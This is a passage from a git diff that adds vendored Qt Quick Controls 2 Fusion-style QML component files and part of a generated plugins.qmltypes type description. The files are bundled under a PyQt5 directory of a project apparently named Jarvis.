information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.TabBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: -1 + + contentItem: ListView { + model: control.contentModel + currentIndex: control.currentIndex + + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.AutoFlickIfNeeded + snapMode: ListView.SnapToItem + + highlightMoveDuration: 0 + highlightRangeMode: ListView.ApplyRange + preferredHighlightBegin: 40 + preferredHighlightEnd: width - 40 + } + + background: Item { + implicitHeight: 21 + + Rectangle { + width: parent.width + height: 1 + y: control.position === T.TabBar.Header ? parent.height - 1 : 0 + color: Fusion.outline(control.palette) + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TabButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TabButton.qml new file mode 100644 index 00000000..136503b6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TabButton.qml @@ -0,0 +1,97 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.TabButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 2 + horizontalPadding: 4 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + z: checked + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.palette.buttonText + } + + background: Rectangle { + y: control.checked || control.TabBar.position !== T.TabBar.Header ? 0 : 2 + implicitHeight: 21 + height: control.height - (control.checked ? 0 : 2) + + border.color: Qt.lighter(Fusion.outline(control.palette), 1.1) + + gradient: Gradient { + GradientStop { + position: 0 + color: control.checked ? Qt.lighter(Fusion.tabFrameColor(control.palette), 1.04) + : Qt.darker(Fusion.tabFrameColor(control.palette), 1.08) + } + GradientStop { + position: control.checked ? 0 : 0.85 + color: control.checked ? Qt.lighter(Fusion.tabFrameColor(control.palette), 1.04) + : Qt.darker(Fusion.tabFrameColor(control.palette), 1.08) + } + GradientStop { + position: 1 + color: control.checked ? Fusion.tabFrameColor(control.palette) + : Qt.darker(Fusion.tabFrameColor(control.palette), 1.16) + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TextArea.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TextArea.qml new file mode 100644 index 00000000..c7107ac4 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TextArea.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.TextArea { + id: control + + implicitWidth: Math.max(contentWidth + leftPadding + rightPadding, + implicitBackgroundWidth + leftInset + rightInset, + placeholder.implicitWidth + leftPadding + rightPadding) + implicitHeight: Math.max(contentHeight + topPadding + bottomPadding, + implicitBackgroundHeight + topInset + bottomInset, + placeholder.implicitHeight + topPadding + bottomPadding) + + padding: 6 + leftPadding: padding + 4 + + color: control.palette.text + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + placeholderTextColor: Color.transparent(control.color, 0.5) + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + verticalAlignment: control.verticalAlignment + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + elide: Text.ElideRight + renderType: control.renderType + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TextField.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TextField.qml new file mode 100644 index 00000000..d5b5788d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/TextField.qml @@ -0,0 +1,103 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.TextField { + id: control + + implicitWidth: implicitBackgroundWidth + leftInset + rightInset + || Math.max(contentWidth, placeholder.implicitWidth) + leftPadding + rightPadding + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding, + placeholder.implicitHeight + topPadding + bottomPadding) + + padding: 4 + + color: control.palette.text + selectionColor: control.palette.highlight + selectedTextColor: control.palette.highlightedText + placeholderTextColor: Color.transparent(control.color, 0.5) + verticalAlignment: TextInput.AlignVCenter + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + verticalAlignment: control.verticalAlignment + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + elide: Text.ElideRight + renderType: control.renderType + } + + background: Rectangle { + implicitWidth: 120 + implicitHeight: 24 + + radius: 2 + color: control.palette.base + border.color: control.activeFocus ? Fusion.highlightedOutline(control.palette) : Fusion.outline(control.palette) + + Rectangle { + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + color: "transparent" + border.color: Color.transparent(Fusion.highlightedOutline(control.palette), 40 / 255) + visible: control.activeFocus + radius: 1.7 + } + + Rectangle { + x: 2 + y: 1 + width: parent.width - 4 + height: 1 + color: Fusion.topShadow + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolBar.qml new file mode 100644 index 00000000..fa069c0b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolBar.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ToolBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + horizontalPadding: 6 + topPadding: control.position === T.ToolBar.Footer ? 1 : 0 + bottomPadding: control.position === T.ToolBar.Header ? 1 : 0 + + background: Rectangle { + implicitHeight: 26 + + gradient: Gradient { + GradientStop { + position: 0 + color: Qt.lighter(control.palette.window, 1.04) + } + GradientStop { + position: 1 + color: control.palette.window + } + } + + Rectangle { + width: parent.width + height: 1 + color: control.position === T.ToolBar.Header ? Fusion.lightShade : Fusion.darkShade + } + + Rectangle { + y: parent.height - height + width: parent.width + height: 1 + color: control.position === T.ToolBar.Header ? Fusion.darkShade : Fusion.lightShade + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolButton.qml new file mode 100644 index 00000000..4c00b402 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolButton.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ToolButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 16 + icon.height: 16 + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: control.palette.buttonText + } + + background: ButtonPanel { + implicitWidth: 20 + implicitHeight: 20 + + control: control + visible: control.down || control.checked || control.highlighted || control.visualFocus || control.hovered + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolSeparator.qml new file mode 100644 index 00000000..5d366652 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolSeparator.qml @@ -0,0 +1,67 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ToolSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: vertical ? 6 : 2 + verticalPadding: vertical ? 2 : 6 + + contentItem: Rectangle { + implicitWidth: vertical ? 2 : 8 + implicitHeight: vertical ? 8 : 2 + color: Qt.darker(control.palette.window, 1.1) + + Rectangle { + x: 1 + width: 1 + height: parent.height + color: Qt.lighter(control.palette.window, 1.1) + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolTip.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolTip.qml new file mode 100644 index 00000000..b505e2c9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/ToolTip.qml @@ -0,0 +1,80 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.ToolTip { + id: control + + x: parent ? (parent.width - implicitWidth) / 2 : 0 + y: -implicitHeight - 3 + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + margins: 6 + padding: 6 + + closePolicy: T.Popup.CloseOnEscape | T.Popup.CloseOnPressOutsideParent | T.Popup.CloseOnReleaseOutsideParent + + contentItem: Text { + text: control.text + font: control.font + wrapMode: Text.Wrap + color: control.palette.toolTipText + } + + background: Rectangle { + color: control.palette.toolTipBase + border.color: control.palette.toolTipText + + Rectangle { + z: -1 + x: 1; y: 1 + width: parent.width + height: parent.height + color: control.palette.shadow + opacity: 0.5 + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Tumbler.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Tumbler.qml new file mode 100644 index 00000000..0129f06c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/Tumbler.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Fusion 2.12 +import QtQuick.Controls.Fusion.impl 2.12 + +T.Tumbler { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 60 // ### remove 60 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 200 // ### remove 200 in Qt 6 + + delegate: Text { + text: modelData + color: control.palette.windowText + font: control.font + opacity: (1.0 - Math.abs(Tumbler.displacement) / (control.visibleItemCount / 2)) * (control.enabled ? 1 : 0.6) + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + } + + contentItem: TumblerView { + implicitWidth: 60 + implicitHeight: 200 + model: control.model + delegate: control.delegate + path: Path { + startX: control.contentItem.width / 2 + startY: -control.contentItem.delegateHeight / 2 + PathLine { + x: control.contentItem.width / 2 + y: (control.visibleItemCount + 1) * control.contentItem.delegateHeight - control.contentItem.delegateHeight / 2 + } + } + + property real delegateHeight: control.availableHeight / control.visibleItemCount + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/VerticalHeaderView.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/VerticalHeaderView.qml new file mode 100644 index 00000000..b220cdf2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/VerticalHeaderView.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Templates 2.15 as T + +T.VerticalHeaderView { + id: control + + implicitWidth: contentWidth + implicitHeight: syncView ? syncView.height : 0 + + delegate: Rectangle { + // Qt6: add cellPadding (and font etc) as public API in headerview + readonly property real cellPadding: 8 + + implicitWidth: Math.max(control.width, text.implicitWidth + (cellPadding * 2)) + implicitHeight: text.implicitHeight + (cellPadding * 2) + border.color: "#cacaca" + + gradient: Gradient { + GradientStop { + position: 0 + color: "#fbfbfb" + } + GradientStop { + position: 1 + color: "#e0dfe0" + } + } + + Text { + id: text + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] + : model[control.textRole]) + : modelData + width: parent.width + height: parent.height + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + color: "#ff26282a" + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/plugins.qmltypes b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/plugins.qmltypes new file mode 100644 index 00000000..681b8b90 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Fusion/plugins.qmltypes @@ -0,0 +1,414 @@ +import QtQuick.tooling 1.2 + +// This file describes the plugin-supplied types contained in the library. +// It is used for QML tooling purposes only. +// +// This file was auto-generated by: +// 'qmlplugindump -nonrelocatable -dependencies dependencies.json QtQuick.Controls.Fusion 2.15' + +Module { + dependencies: ["QtQuick.Controls 2.0"] + Component { + name: "QQuickFusionBusyIndicator" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtQuick.Controls.Fusion.impl/BusyIndicatorImpl 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "color"; type: "QColor" } + Property { name: "running"; type: "bool" } + } + Component { + name: "QQuickFusionDial" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtQuick.Controls.Fusion.impl/DialImpl 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "highlight"; type: "bool" } + Property { name: "palette"; type: "QPalette" } + } + Component { + name: "QQuickFusionKnob" + defaultProperty: "data" + prototype: "QQuickPaintedItem" + exports: ["QtQuick.Controls.Fusion.impl/KnobImpl 2.3"] + exportMetaObjectRevisions: [0] + Property { name: "palette"; type: "QPalette" } + } + Component { + name: "QQuickFusionStyle" + prototype: "QObject" + exports: ["QtQuick.Controls.Fusion.impl/Fusion 2.3"] + isCreatable: false + isSingleton: true + exportMetaObjectRevisions: [0] + Property { name: "lightShade"; type: "QColor"; isReadonly: true } + Property { name: "darkShade"; type: "QColor"; isReadonly: true } + Property { name: "topShadow"; type: "QColor"; isReadonly: true } + Property { name: "innerContrastLine"; type: "QColor"; isReadonly: true } + Method { + name: "highlight" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + } + Method { + name: "highlightedText" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + } + Method { + name: "outline" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + } + Method { + name: "highlightedOutline" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + } + Method { + name: "tabFrameColor" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + } + Method { + name: "buttonColor" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + Parameter { name: "highlighted"; type: "bool" } + Parameter { name: "down"; type: "bool" } + Parameter { name: "hovered"; type: "bool" } + } + Method { + name: "buttonColor" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + Parameter { name: "highlighted"; type: "bool" } + Parameter { name: "down"; type: "bool" } + } + Method { + name: "buttonColor" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + Parameter { name: "highlighted"; type: "bool" } + } + Method { + name: "buttonColor" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + } + Method { + name: "buttonOutline" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + Parameter { name: "highlighted"; type: "bool" } + Parameter { name: "enabled"; type: "bool" } + } + Method { + name: "buttonOutline" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + Parameter { name: "highlighted"; type: "bool" } + } + Method { + name: "buttonOutline" + type: "QColor" + Parameter { name: "palette"; type: "QPalette" } + } + Method { + name: "gradientStart" + type: "QColor" + Parameter { name: "baseColor"; type: "QColor" 